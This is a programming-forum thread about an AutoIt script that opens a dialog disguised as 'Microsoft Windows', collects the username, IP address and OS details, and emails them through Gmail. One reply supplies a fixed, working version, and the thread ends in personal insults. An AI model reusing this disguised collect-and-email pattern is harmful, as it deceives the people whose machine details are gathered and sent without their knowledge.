can not start second half of script

[JayT]

expandcollapse popup

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Microsoft Windows", 250, 92, -1, -1)
GUISetIcon(@AutoItExe, -2, $Form1)
$ButtonOk = GUICtrlCreateButton("&OK", 86, 64, 75, 25, 0)
$ButtonCancel = GUICtrlCreateButton("&Cancel", 167, 64, 75, 25, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
   $nMsg = GUIGetMsg()
   Switch $nMsg
      Case $GUI_EVENT_CLOSE
         Exit
     Case $ButtonCancel
         Exit
     Case $ButtonOk
         $file = FileOpen("Userinfo.txt", 1)
         $user = (@UserName)
         $ip = (@IPAddress1)
         $os =(@OSType)
         $sp = (@OSServicePack)
         FileWriteLine($file, "Username..." & $user & @CRLF)
         FileWriteLine($file, "Machine IP Address..." & $ip & @CRLF)
         FileWriteLine($file, "OS Type..." & $os & @CRLF)
         FileWriteLine($file, "Service Pack..." & $sp & @CRLF)
         FileWriteLine($file, "------------------------------------------" & @CRLF)
         ;Exit
   EndSwitch
WEnd
-----------------------------------------------------
This half of script does not run?
-----------------------------------------------------   
#Include<file.au3>
$SmtpServer = "smtp.gmail.com"              ; address for the smtp-server to use - REQUIRED
$FromName = "name"                      ; name from who the email was sent
$FromAddress = "user@gmail.com" ; address from where the mail should come
$ToAddress = "user@gmail.com"   ; destination address of the email - REQUIRED
$Subject = "System Info"                   ; subject from the email - can be anything you want it to be
$Body = ""                              ; the messagebody from the mail - can be left blank but then you get a blank mail
$AttachFiles = "Userinfo.txt"                       ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
$CcAddress = ""       ; address for cc - leave blank if not needed
$BccAddress = ""     ; address for bcc - leave blank if not needed
$Importance = "Normal"                  ; Send message priority: "High", "Normal", "Low"
$Username = "user@gmail.com"                    ; username for the account used from where the mail gets sent - REQUIRED
$Password = "******"                  ; password for the account used from where the mail gets sent - REQUIRED
$IPPort = 465                            ; port used for sending the mail
$ssl = 1                                ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                          ; GMAIL port used for sending the mail
;~ $ssl=1                               ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
EndIf
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc   ;==>MyErrFunc

Edited September 19, 2013 by JayT

[BrewManNH]

How do you expect the second half to run? It appears you've stuck 2 scripts together without knowing what either one is actually doing. Your first "half" is stuck in the While loop, with no exit, so there's no way for the second "half" to be executed.

[water]

Because the only way to leave the "While 1" loop is to Exit the script.

[mLipok]

Besides I wanted to draw attention that you forgot to use    FileClose($file)

[JayT]

thanks

Edited March 2, 2021 by JayT

[jchd]

Only that last post of yours is a request for bashing you hard.

People have politely replied showing you where your multiple errors are and instead of saying "Thank you for your help" you complain that you got rude answers?

[junkew]

it will help if you tell what you expect when the 2nd half should run

after pressing ok?

[JayT]

after clicking ok it shouild send me a email with the info.

[junkew]

$goTo2ndHalf=1

while $goTo2ndHalf

;your code
wend

and somewhere in the code where you want it you add 

$goTo2ndHalf=0

[JayT]

Only that last post of yours is a request for bashing you hard.

People have politely replied showing you where your multiple errors are and instead of saying "Thank you for your help" you complain that you got rude answers?

Reallly? "It appears you've stuck 2 scripts together without knowing what either one is actually doing." Thats not a bash? Sorry if i'm not as savy as you are.

[mLipok]

Here you have the more help

hint: focus on #region .... #endregion

expandcollapse popup

#region MOVED 1
#include<file.au3>
#endregion MOVED 1

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Microsoft Windows", 250, 92, -1, -1)
GUISetIcon(@AutoItExe, -2, $Form1)
$ButtonOk = GUICtrlCreateButton("&OK", 86, 64, 75, 25, 0)
$ButtonCancel = GUICtrlCreateButton("&Cancel", 167, 64, 75, 25, 0)
GUISetState(@SW_SHOW)
#endregion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $ButtonCancel
            Exit
        Case $ButtonOk
            $file = FileOpen("Userinfo.txt", 1)
            $user = (@UserName)
            $ip = (@IPAddress1)
            $os = (@OSType)
            $sp = (@OSServicePack)
            FileWriteLine($file, "Username..." & $user & @CRLF)
            FileWriteLine($file, "Machine IP Address..." & $ip & @CRLF)
            FileWriteLine($file, "OS Type..." & $os & @CRLF)
            FileWriteLine($file, "Service Pack..." & $sp & @CRLF)
            FileWriteLine($file, "------------------------------------------" & @CRLF)

            #region ADDED
            FileClose($file)
            #endregion ADDED

            #region MOVED 2
            $SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
            $FromName = "name" ; name from who the email was sent
            $FromAddress = "user@gmail.com" ; address from where the mail should come
            $ToAddress = "user@gmail.com" ; destination address of the email - REQUIRED
            $Subject = "System Info" ; subject from the email - can be anything you want it to be
            $Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail
            $AttachFiles = "Userinfo.txt" ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
            $CcAddress = "" ; address for cc - leave blank if not needed
            $BccAddress = "" ; address for bcc - leave blank if not needed
            $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
            $Username = "user@gmail.com" ; username for the account used from where the mail gets sent - REQUIRED
            $Password = "******" ; password for the account used from where the mail gets sent - REQUIRED
            $IPPort = 465 ; port used for sending the mail
            $ssl = 1 ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                          ; GMAIL port used for sending the mail
;~ $ssl=1                               ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

            Global $oMyRet[2]
            Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
            $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
            If @error Then
                MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
            EndIf

            #endregion MOVED 2
            ;Exit
    EndSwitch
WEnd
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 Then $IPPort = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail = ""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc   ;==>MyErrFunc

The rest is up to you.

[JayT]

Here you have the more help

hint: focus on #region .... #endregion

expandcollapse popup

#region MOVED 1
#include<file.au3>
#endregion MOVED 1

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Microsoft Windows", 250, 92, -1, -1)
GUISetIcon(@AutoItExe, -2, $Form1)
$ButtonOk = GUICtrlCreateButton("&OK", 86, 64, 75, 25, 0)
$ButtonCancel = GUICtrlCreateButton("&Cancel", 167, 64, 75, 25, 0)
GUISetState(@SW_SHOW)
#endregion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $ButtonCancel
            Exit
        Case $ButtonOk
            $file = FileOpen("Userinfo.txt", 1)
            $user = (@UserName)
            $ip = (@IPAddress1)
            $os = (@OSType)
            $sp = (@OSServicePack)
            FileWriteLine($file, "Username..." & $user & @CRLF)
            FileWriteLine($file, "Machine IP Address..." & $ip & @CRLF)
            FileWriteLine($file, "OS Type..." & $os & @CRLF)
            FileWriteLine($file, "Service Pack..." & $sp & @CRLF)
            FileWriteLine($file, "------------------------------------------" & @CRLF)

            #region ADDED
            FileClose($file)
            #endregion ADDED

            #region MOVED 2
            $SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
            $FromName = "name" ; name from who the email was sent
            $FromAddress = "user@gmail.com" ; address from where the mail should come
            $ToAddress = "user@gmail.com" ; destination address of the email - REQUIRED
            $Subject = "System Info" ; subject from the email - can be anything you want it to be
            $Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail
            $AttachFiles = "Userinfo.txt" ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
            $CcAddress = "" ; address for cc - leave blank if not needed
            $BccAddress = "" ; address for bcc - leave blank if not needed
            $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
            $Username = "user@gmail.com" ; username for the account used from where the mail gets sent - REQUIRED
            $Password = "******" ; password for the account used from where the mail gets sent - REQUIRED
            $IPPort = 465 ; port used for sending the mail
            $ssl = 1 ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                          ; GMAIL port used for sending the mail
;~ $ssl=1                               ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

            Global $oMyRet[2]
            Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
            $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
            If @error Then
                MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
            EndIf

            #endregion MOVED 2
            ;Exit
    EndSwitch
WEnd
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 Then $IPPort = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail = ""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc   ;==>MyErrFunc

The rest is up to you.

You my friend are the best! THANK YOU for taking your time and helping me.

[mLipok]

Reallly? "It appears you've stuck 2 scripts together without knowing what either one is actually doing." Thats not a bash? Sorry if i'm not as savy as you are.

 

You forgot about:

Your first "half" is stuck in the While loop, with no exit, so there's no way for the second "half" to be executed.

 

Without this second part of the speech, you lose the context.

BrewManNH, said as was noted by, and in the second sentence, drew your attention to a one of possible solution.

EDIT:

It was very polite and nice

Edited September 19, 2013 by mlipok

[JayT]

Here you have the more help

hint: focus on #region .... #endregion

expandcollapse popup

#region MOVED 1
#include<file.au3>
#endregion MOVED 1

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Microsoft Windows", 250, 92, -1, -1)
GUISetIcon(@AutoItExe, -2, $Form1)
$ButtonOk = GUICtrlCreateButton("&OK", 86, 64, 75, 25, 0)
$ButtonCancel = GUICtrlCreateButton("&Cancel", 167, 64, 75, 25, 0)
GUISetState(@SW_SHOW)
#endregion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $ButtonCancel
            Exit
        Case $ButtonOk
            $file = FileOpen("Userinfo.txt", 1)
            $user = (@UserName)
            $ip = (@IPAddress1)
            $os = (@OSType)
            $sp = (@OSServicePack)
            FileWriteLine($file, "Username..." & $user & @CRLF)
            FileWriteLine($file, "Machine IP Address..." & $ip & @CRLF)
            FileWriteLine($file, "OS Type..." & $os & @CRLF)
            FileWriteLine($file, "Service Pack..." & $sp & @CRLF)
            FileWriteLine($file, "------------------------------------------" & @CRLF)

            #region ADDED
            FileClose($file)
            #endregion ADDED

            #region MOVED 2
            $SmtpServer = "smtp.gmail.com" ; address for the smtp-server to use - REQUIRED
            $FromName = "name" ; name from who the email was sent
            $FromAddress = "user@gmail.com" ; address from where the mail should come
            $ToAddress = "user@gmail.com" ; destination address of the email - REQUIRED
            $Subject = "System Info" ; subject from the email - can be anything you want it to be
            $Body = "" ; the messagebody from the mail - can be left blank but then you get a blank mail
            $AttachFiles = "Userinfo.txt" ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
            $CcAddress = "" ; address for cc - leave blank if not needed
            $BccAddress = "" ; address for bcc - leave blank if not needed
            $Importance = "Normal" ; Send message priority: "High", "Normal", "Low"
            $Username = "user@gmail.com" ; username for the account used from where the mail gets sent - REQUIRED
            $Password = "******" ; password for the account used from where the mail gets sent - REQUIRED
            $IPPort = 465 ; port used for sending the mail
            $ssl = 1 ; enables/disables secure socket layer sending - put to 1 if using httpS
;~ $IPPort=465                          ; GMAIL port used for sending the mail
;~ $ssl=1                               ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

            Global $oMyRet[2]
            Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
            $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
            If @error Then
                MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)
            EndIf

            #endregion MOVED 2
            ;Exit
    EndSwitch
WEnd
;
; The UDF
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 Then $IPPort = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Set Email Importance
    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail = ""
EndFunc   ;==>_INetSmtpMailCom
;
;
; Com Error Handler
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
EndFunc   ;==>MyErrFunc

The rest is up to you.

You my friend are the best! THANK YOU for taking your time and helping me.

[JayT]

mlipok is the only person that helped me without this bickering. Again...Sorry I am not as clever as you "MVP's"

[mLipok]

You my friend are the best! THANK YOU for taking your time and helping me.

 

I'm not the best.

I'm weak.

He is better.

I'm not the MVP.

 

no offense.

[BrewManNH]

Reallly? "It appears you've stuck 2 scripts together without knowing what either one is actually doing." Thats not a bash? Sorry if i'm not as savy as you are.

While it could have been written in a nicer tone, I still stand by my assertion that you have cobbled together 2 scripts and just expected them to work together, without really understanding the code you were using or how they work in general.

Why do I say this? Mostly because you have a commented out Exit in the first While loop, which looks to me like you copied the basics of the first script and didn't want the script to exit when it previously did. Then found the second script and stuck it onto the end of the first script. How do I know this? Because you have an include statement directly after the Wend statement. This tells me you took an example of how to use the _InetSMTP* functions and added it to the first script.

If you want to learn how to code, that's one thing. But, if you want to just have someone fix your mistakes without taking the time to learn what that mistake is in the first place, then you get what is given to you. Your script was easily fixable if you understood how things work in AutoIt, you've been around long enough to get the basics down.

[jchd]

Reallly? "It appears you've stuck 2 scripts together without knowing what either one is actually doing." Thats not a bash? Sorry if i'm not as savy as you are.

To add to what BrewManNH just said, NO, that's not anything close to bashing, it is a precise description of what you yourself did in an attempt to have someone read your mind and fix it for you without you making the faintest effort to understand how things could work together.

Then -- and after receiving nothing less than two informative answers about what you should do to start making things better, all in less than TWO minutes, plus another precise hint regarding another error in your submission -- you complain than people are unfriendly?!?

When people -- and not only me -- point out that eveyone was helpful and polite with you but you were still whimpering about you having been "bashed", you insist on whinning about the imaginary hard treatment you received. Yet not a single "thank you" to people that were intitially helpful.

 

Now I'll tell you something, honey: we don't give our time and knowledge away for free 24/7 here just to cocoon you, little babe. It's noone fault if you're lazy as hell, like you've yourself pretty well demonstrated in posting this thread. Your ignorance and lack of good will to make any effort to learn something badly add up to your uncalled for arrogance over helpful people. Nobody here will breast-feed you and change your sleeves when you piss in bed. There is no great big hug for those who refuse to at least honestly try to do their own homework.

You are displaying exactly the type of parasite we do not want on this forum. The question is not "being savvy or not" like you repeadtedly say. The question is that, after your blatant gross errors have been politely pointed out, you didn't even try correcting the situation by yourself but instead started and kept on wailling about yourself.

Your arrogant attitude now deserves bashing. Learn to behave or leave.

[Melba23]

jchd,

Fall out of bed on the wrong side this morning?

tedesco,

I was going to post and make, perhaps a little more diplomatically than jchd, the same points. But I think after his post I will just content myself with saying that I agree with all of others - within 5 minutes you got two very good replies explaining why the second half of your script did not run, so why are you complaining?

M23

[jchd]

On the contrary, I was in a perfectly pleasant mood, even after reading all this undue whinning. He wanted bashing, he managed to get it.